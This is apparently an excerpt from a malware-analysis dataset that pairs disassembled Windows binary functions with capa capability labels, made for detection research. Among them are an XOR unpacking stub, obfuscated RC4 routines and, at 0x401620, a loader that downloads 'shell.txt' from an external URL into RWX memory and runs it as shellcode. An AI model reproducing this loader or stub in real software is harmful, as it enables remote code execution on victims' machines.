joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414700
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebx
xor eax, eax
push ebp
push esi
mov esi, dword [esp + 0x30]
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x10]
push eax
xor edi, edi
push esi
mov dword [esp + 0x18], edi
xor ebp, ebp
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4147c6
cmp dword [esp + 0x14], 4
je 0x4147e2
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4147c6
mov ecx, dword [esp + 0x30]
mov esi, dword [ecx + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x414798
cmp dword [esp + 0x14], 4
je 0x4147e2
push 0x64
call ebx
mov eax, dword [esp + 0x28]
add edi, 0x64
cmp eax, esi
jbe 0x414792
mov esi, eax
cmp edi, esi
jb 0x414766
jmp 0x4147a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
test ebp, ebp
jne 0x4147ce
mov eax, dword [esp + 0x14]
cmp eax, 4
je 0x4147e2
sub eax, 2
neg eax
pop edi
sbb eax, eax
pop esi
and eax, 9
pop ebp
add eax, 0x41d
pop ebx
add esp, 0x1c
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
cmp ebp, 0x420
jne 0x4147e2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 8
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x1c
ret 8
Function at 0x414870
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x48
push ebx
mov ebx, eax
xor eax, eax
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
lea eax, [esp + 8]
push eax
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x4148e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
add esp, 0x48
ret 8
push ebp
mov ebp, 1
cmp dword [esp + 0x10], ebp
je 0x4149c7
mov ecx, dword [esp + 0x58]
mov eax, dword [ecx + 8]
test eax, eax
je 0x41491a
test ebx, ebx
je 0x41491a
mov edx, dword [esp + 0x5c]
lea ecx, [esp + 0x28]
push ecx
push ebp
push ebp
push esi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], edx
call eax
test eax, eax
jne 0x414975
mov ebx, dword [sym.imp.ADVAPI32.dll_ControlService]
lea edx, [esp + 0xc]
push edx
push ebp
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x414975
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
cmp ebp, 5
je 0x414944
cmp ebp, 0x41c
jne 0x41496c
lea eax, [esp + 0xc]
push eax
push 0x85
push esi
call ebx
test eax, eax
je 0x41496c
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0xc]
push ecx
push 1
push esi
call ebx
mov edi, eax
test edi, edi
je 0x4149bc
mov ebp, 1
xor edi, edi
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x10], ebp
je 0x4149b1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0x64
cmp dword [esp + 0x10], ebp
je 0x4149b1
mov eax, dword [esp + 0x58]
cmp edi, dword [eax + 4]
jb 0x414977
pop ebp
pop edi
mov eax, 0x41d
pop ebx
add esp, 0x48
ret 8
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x48
ret 8
mov eax, ebp
pop ebp
pop edi
pop ebx
add esp, 0x48
ret 8
pop ebp
mov eax, edi
pop edi
pop ebx
add esp, 0x48
ret 8

Function at 0x414ad0
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x414b10
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x1c
ret 4
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 4]
mov dword [eax], edx
xor eax, eax
add esp, 0x1c
ret 4
Function at 0x418fc0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x431934
mov eax, dword fs:[0]
push eax
mov eax, dword [0x446050]
xor eax, esp
push eax
lea eax, [esp + 4]
mov dword fs:[0], eax
mov eax, dword [esp + 0x14]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax], vtable.CBasicDialog.0
mov dword [eax + 0xc], ecx
mov byte [eax + 0x10], cl
mov byte [eax + 0x11], cl
mov dword [eax + 0x14], ecx
mov dword [esp + 0xc], ecx
mov dword [eax], vtable.CMsgBox.0
mov byte [eax + 0x18], 1
mov byte [eax + 0x19], cl
mov edx, 0xf
mov dword [eax + 0x34], edx
mov dword [eax + 0x30], ecx
mov byte [eax + 0x20], cl
mov byte [esp + 0xc], 1
mov dword [eax + 0x50], edx
mov dword [eax + 0x4c], ecx
mov byte [eax + 0x3c], cl
mov byte [esp + 0xc], 2
mov dword [eax + 0x6c], edx
mov dword [eax + 0x68], ecx
mov byte [eax + 0x58], cl
mov byte [esp + 0xc], 3
mov dword [eax + 0x88], edx
mov dword [eax + 0x84], ecx
mov byte [eax + 0x74], cl
mov byte [esp + 0xc], 4
mov dword [eax + 0x94], ecx
mov dword [eax + 0x9c], ecx
mov dword [eax + 0xa0], ecx
mov dword [esp + 0xc], 0xffffffff
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
pop ecx
add esp, 0xc
ret 4

Function at 0x419180
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4191b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jne 0x4191a6
test bl, 0x10
je 0x4191a6
mov esi, 2
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
test esi, esi
pop esi
sete al
pop ebx
ret
xor esi, esi
jmp 0x41919c
Function at 0x41afa0
Capabilities:
Check os version
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x14
cmp dword [0x449ee4], 0
push ebx
push ebp
push esi
push edi
jne 0x41afce
cmp dword [0x449f74], 0
jne 0x41afda
push 0x449f70
mov dword [0x449f70], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [0x449ee4], 0x400000
jae 0x41afed
cmp dword [0x449f74], 0xa
jae 0x41afed
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
push 1
push 0
push 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
test esi, esi
je 0x41b014
cmp esi, 0xffffffff
je 0x41b014
xor ebp, ebp
jmp 0x41b020
call ebx
mov ebp, eax
test ebp, ebp
jne 0x41b0f0
mov edi, dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 8
lea edx, [esp + 0x30]
push edx
push 0x980000eb
mov eax, 0x14
push esi
mov dword [esp + 0x3c], 3
mov word [esp + 0x40], ax
mov dword [esp + 0x38], 0
call edi
cmp eax, 0xffffffff
je 0x41b06a
or byte [0x449a39], 0x30
jmp 0x41b0a1
call ebx
mov ebp, eax
xor eax, eax
push eax
push eax
lea ecx, [esp + 0x1c]
push ecx
push eax
push eax
push 8
lea edx, [esp + 0x30]
push edx
push 0x980000eb
push esi
mov dword [esp + 0x3c], 1
mov word [esp + 0x40], ax
call edi
cmp eax, 0xffffffff
je 0x41b0a1
or byte [0x449a39], 0x10
push 8
lea ecx, [esp + 0x1c]
push ecx
push 0x3009
push 0xffff
xor eax, eax
push esi
mov dword [esp + 0x2c], 1
mov word [esp + 0x30], ax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x41b0e5
or byte [0x449a39], 1
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
call ebx
push esi
mov ebp, eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x41eff0
Capabilities:
Link many functions at runtime

Disassembly:
fld qword [0x440fa0]
push ebx
xor ebx, ebx
fstp qword [0x44aa58]
fld qword [0x440f98]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
fstp qword [0x44aa78]
fldz
push esi
fst qword [0x44aaf8]
push edi
fst qword [0x44ab10]
mov dword [0x44aa08], 0x440f80
fst qword [0x44ab18]
mov dword [0x44aa10], ebx
fstp qword [0x44ab20]
mov dword [0x44aa14], ebx
fld qword [0x440f88]
mov dword [0x44aa18], ebx
fstp qword [0x44ab28]
mov dword [0x44aa1c], ebx
mov dword [0x44aa20], ebx
mov dword [0x44aa24], ebx
mov dword [0x44aa28], ebx
mov dword [0x44aa2c], ebx
mov byte [0x44aa30], bl
mov byte [0x44aa32], bl
mov byte [0x44aa33], bl
mov byte [0x44aa34], bl
mov byte [0x44aa35], bl
mov dword [0x44aa38], ebx
mov dword [0x44aa3c], ebx
mov dword [0x44aa40], ebx
mov dword [0x44aa44], ebx
mov byte [0x44aa48], bl
mov byte [0x44aa49], bl
mov dword [0x44aa50], 0x3e8
mov dword [0x44aa54], ebx
mov dword [0x44aa60], 2
mov dword [0x44aa64], ebx
mov byte [0x44aa70], 0xea
mov dword [0x44aa80], 0x14
mov dword [0x44aa84], ebx
mov dword [0x44aaac], 1
mov dword [0x44aac8], ebx
mov dword [0x44aacc], ebx
mov dword [0x44aad0], ebx
mov dword [0x44aad4], ebx
mov byte [0x44ab00], bl
mov dword [0x44ab04], 0xa
mov dword [0x44ab08], ebx
mov dword [0x44ab30], 0x4e2
mov dword [0x44ab34], ebx
mov dword [0x44ab38], ebx
mov dword [0x44ab3c], ebx
mov dword [0x44ab40], ebx
mov dword [0x44ab44], ebx
push str.ntdll.dll
mov dword [0x44a060], ebx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, ebx
je 0x41f1b5
push str.NtSetSystemTime
push edi
call esi
push str.NtQueryTimerResolution
push edi
mov dword [0x44aa10], eax
call esi
push str.NtSetTimerResolution
push edi
mov dword [0x44aa14], eax
call esi
mov dword [0x44aa18], eax
mov eax, dword [0x44aa14]
cmp eax, ebx
je 0x41f1b5
push 0x44aa40
push 0x44aa3c
push 0x44aa38
call eax
cmp eax, ebx
jne 0x41f1b5
mov eax, dword [0x44aa40]
mov dword [0x44aa44], eax
push 0x4407d8
call ebp
mov edi, eax
cmp edi, ebx
je 0x41f1f4
push str.GetSystemTimePreciseAsFileTime
push edi
call esi
cmp eax, ebx
push str.GetProcessInformation
setne cl
push edi
mov dword [0x44aa1c], eax
mov byte [0x44aa34], cl
call esi
push str.SetProcessInformation
push edi
mov dword [0x44aa20], eax
call esi
mov dword [0x44aa24], eax
push str.kernelbase.dll
call ebp
mov edi, eax
cmp edi, ebx
je 0x41f232
push str.GetSystemTimeAdjustmentPrecise
push edi
call esi
push str.SetSystemTimeAdjustmentPrecise
push edi
mov dword [0x44aa28], eax
call esi
mov dword [0x44aa2c], eax
cmp dword [0x44aa28], ebx
je 0x41f22c
cmp eax, ebx
je 0x41f22c
mov ebx, 1
mov byte [0x44aa35], bl
pop edi
pop esi
pop ebp
mov eax, 0x44aa08
pop ebx
ret

Function at 0x41f826
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x446050]
jne 0x41f830
repz ret
jmp fcn.004220f6
Function at 0x42ba17
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00422c76
and dword [ebp - 4], 0
cmp dword [0x4485f4], 0
mov ebx, eax
jne 0x42bac8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42bb79
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x42bb79
push eax
call fcn.00422c04
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4485f4], eax
call esi
push eax
call fcn.00422c04
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4485f8], eax
call esi
push eax
call fcn.00422c04
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4485fc], eax
call esi
push eax
call fcn.00422c04
pop ecx
mov dword [0x448604], eax
test eax, eax
je 0x42bac8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00422c04
pop ecx
mov dword [0x448600], eax
mov eax, dword [0x448600]
cmp eax, ebx
je 0x42bb20
cmp dword [0x448604], ebx
je 0x42bb20
push eax
call fcn.00422c7f
push dword [0x448604]
mov esi, eax
call fcn.00422c7f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42bb20
test edi, edi
je 0x42bb20
call esi
test eax, eax
je 0x42bb17
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42bb17
test byte [ebp - 0xc], 1
jne 0x42bb20
or dword [ebp + 0x10], 0x200000
jmp 0x42bb59
mov eax, dword [0x4485f8]
cmp eax, ebx
je 0x42bb59
push eax
call fcn.00422c7f
pop ecx
test eax, eax
je 0x42bb59
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42bb59
mov eax, dword [0x4485fc]
cmp eax, ebx
je 0x42bb59
push eax
call fcn.00422c7f
pop ecx
test eax, eax
je 0x42bb59
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4485f4]
call fcn.00422c7f
pop ecx
test eax, eax
je 0x42bb79
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42bb7b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..idata
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x32e61bce
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x539f7985
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ebx, ebx
test eax, eax
jne 0x4016be
mov edi, 0xf
mov eax, str.C:UsersPublicDocuments_shell.txt
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401654
sub eax, edx
push eax
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x40]
call fcn.00401d40
push 0x5c
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1732530391832_3.txt
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
call fcn.00401d40
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x24]
call fcn.00401350
mov esi, 0x10
cmp dword [ebp - 0xc], esi
jb 0x4016a4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00402f33
add esp, 4
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
cmp dword [ebp - 0x28], esi
jb 0x4016be
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.00402f33
add esp, 4
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x401700
push 0x440168
push 0x440170
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401725
push ebx
push 0x440168
push 0x440180
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4017b1
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push ebx
cmp eax, ebx
jne 0x40174f
push 0x440168
push 0x440194
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4017b1
lea edx, [ebp - 4]
push edx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40178f
cmp dword [ebp - 4], edi
jne 0x40178f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
mov eax, dword [ebp - 8]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
push 0x440168
push 0x4401a4
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 8]
push 0x8000
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402a70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00405a60
Function at 0x4024b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov eax, dword [str.4_ru]
push ebx
push ebp
push esi
lea ecx, [eax - 0x69d]
mov eax, 0xac769185
imul ecx
add edx, ecx
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
sar edx, 7
mov ecx, edx
push edi
shr ecx, 0x1f
add edx, ecx
push 0x5cc9
mov dword [str.4_ru], edx
mov edx, dword [0x405498]
push 0x4d93
push 0x2c89
push edx
mov dword [0x405004], 0x781c
call esi
mov ecx, dword [str.4_ru]
mov eax, 0xa1385d35
imul ecx
add edx, ecx
mov edi, dword [esp + 0x14]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
xor ebx, ebx
mov dword [str.4_ru], edx
mov byte [ebx + edi], bl
mov ecx, dword [0x405498]
push 0x1754
push 0x28bb
push 0x31b7
push ecx
call esi
inc ebx
cmp ebx, 0x100
jl 0x402525
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [edi + 0x100], 0
mov dword [0x405010], 0x127c
mov byte [edi + 0x101], 0
mov edx, dword [0x405008]
mov eax, dword [0x40549c]
add edx, 0xffffab46
push 0xf7
push eax
mov dword [0x40500c], edx
call ebx
xor esi, esi
xor ebp, ebp
mov eax, esi
xor ecx, ecx
cdq
idiv dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push 0xb5
mov cl, byte [edx + eax]
mov eax, dword [0x4054a0]
xor edx, edx
push eax
mov dl, byte [esi + edi]
add edx, ebp
lea ebp, [edx + ecx]
call ebx
mov eax, dword [0x40500c]
mov ecx, 0x20a9
cdq
idiv ecx
xor eax, eax
push 0xcc
and ebp, 0xff
mov dword [0x405020], edx
mov edx, dword [0x4054a0]
mov al, byte [esi + edi]
push edx
mov dword [esp + 0x1c], eax
call ebx
mov al, byte [edi + ebp]
push 0x44
mov byte [esi + edi], al
mov ecx, dword [0x4054a0]
push ecx
call ebx
mov dl, byte [esp + 0x14]
push 0x92
mov byte [edi + ebp], dl
mov eax, dword [0x4054ac]
push eax
call ebx
inc esi
mov dword [0x405004], 0x131d
cmp esi, 0x100
jl 0x40258a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x402630
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov eax, dword [0x4054ac]
push ebx
push ebp
push esi
push edi
push 0x3701
push 0x4c5c
push 0x56b0
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x405010]
mov eax, 0x13e22cbd
imul ecx
mov esi, dword [esp + 0x14]
xor eax, eax
sar edx, 3
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
shr ecx, 0x1f
add edx, ecx
mov ecx, 0x47bb
mov dword [0x405010], edx
mov al, byte [esi + 0x101]
mov dword [esp + 0x14], eax
mov eax, dword [0x405028]
cdq
idiv ecx
xor ebx, ebx
push 7
mov bl, byte [esi + 0x100]
mov dword [0x405014], edx
mov edx, dword [0x4054a8]
push edx
call ebp
mov eax, dword [esp + 0x1c]
xor edi, edi
test eax, eax
jle 0x402788
mov eax, dword [0x4054a0]
push 0x6ead
push 0x90e
push 0x37b5
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x405498]
inc ebx
push 0xf6
push ecx
and ebx, 0xff
call dword [sym.imp.USER32.dll_GetClassWord]
mov ebp, dword [esp + 0x14]
mov ecx, dword [str._fkYG]
xor edx, edx
mov eax, 0xb21642c9
mov dl, byte [ebx + esi]
push 0x14
add ebp, edx
imul ecx
add edx, ecx
mov ecx, dword [0x40502c]
sar edx, 5
mov eax, edx
add ecx, 0x5bcd
shr eax, 0x1f
add edx, eax
and ebp, 0xff
mov dword [0x405028], ecx
mov dword [str._fkYG], edx
mov dl, byte [esi + ebp]
xor ecx, ecx
mov cl, byte [ebx + esi]
mov byte [ebx + esi], dl
mov byte [esi + ebp], cl
mov eax, dword [0x40504c]
mov dword [esp + 0x18], ebp
mov ebp, 0x4423
cdq
idiv ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x40503c], edx
mov al, byte [ebx + esi]
add eax, ecx
and eax, 0xff
mov cl, byte [eax + esi]
mov eax, dword [esp + 0x1c]
mov dl, byte [edi + eax]
xor dl, cl
mov byte [edi + eax], dl
mov edx, dword [0x4054c0]
push edx
call ebp
mov eax, dword [esp + 0x1c]
inc edi
cmp edi, eax
jl 0x4026b6
mov al, byte [esp + 0x14]
push 0x82
mov byte [esi + 0x101], al
mov dword [0x405054], 0x7ac5
mov byte [esi + 0x100], bl
mov ecx, dword [0x4054bc]
push ecx
call ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402820
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x402906
cmp edi, 0xffffffff
je 0x402906
cmp word [edi], 0x5a4d
jne 0x402906
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x402906
mov eax, dword [esi + 0x78]
push ebx
push 1
push edi
push esi
push eax
call fcn.004029b0
mov ebx, eax
push 1
push edi
push esi
mov ecx, dword [ebx + 0x20]
push ecx
call fcn.004029b0
mov edx, dword [ebx + 0x24]
push 1
push edi
push esi
push edx
mov dword [esp + 0x4c], eax
call fcn.004029b0
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 0x1c]
push 1
push edi
push esi
push eax
call fcn.004029b0
mov dword [esp + 0x54], eax
mov eax, dword [ebx + 0x18]
add esp, 0x40
xor ebp, ebp
test eax, eax
jbe 0x4028e4
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push edx
push 1
mov ecx, dword [eax]
push edi
push esi
push ecx
call fcn.004029b0
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4028e4
mov ecx, dword [esp + 0x1c]
mov eax, dword [ebx + 0x18]
inc ebp
add ecx, 4
cmp ebp, eax
mov dword [esp + 0x1c], ecx
jb 0x4028ae
mov eax, dword [ebx + 0x18]
pop ebx
cmp ebp, eax
jae 0x402906
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
xor edx, edx
mov dx, word [eax + ebp*2]
mov eax, dword [ecx + edx*4]
add eax, edi
pop edi
pop esi
pop ebp
add esp, 8
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 8
ret

Function at 0x402910
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov ecx, dword [esp + 0x14]
xor eax, eax
xor esi, esi
mov ax, word [edi + 0x14]
lea edx, [eax + edi + 0x18]
mov eax, edx
sub eax, ecx
xor ecx, ecx
mov cx, word [edi + 6]
test ecx, ecx
jbe 0x40294f
mov edi, dword [esp + 0x10]
cmp edx, edi
je 0x402947
inc esi
add edx, 0x28
cmp esi, ecx
jb 0x402938
pop edi
pop esi
ret
mov eax, dword [edx + 0xc]
mov ecx, dword [edx + 0x14]
sub eax, ecx
pop edi
pop esi
ret

Function at 0x402960
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x4029a0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40298b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402998
add edx, ecx
cmp ebx, edx
jb 0x4029a2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x402981
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x1000cf2c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x811c9dc5
xor ecx, ecx
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x1000cf3a
pop esi
mov eax, edx
pop ebp
ret 4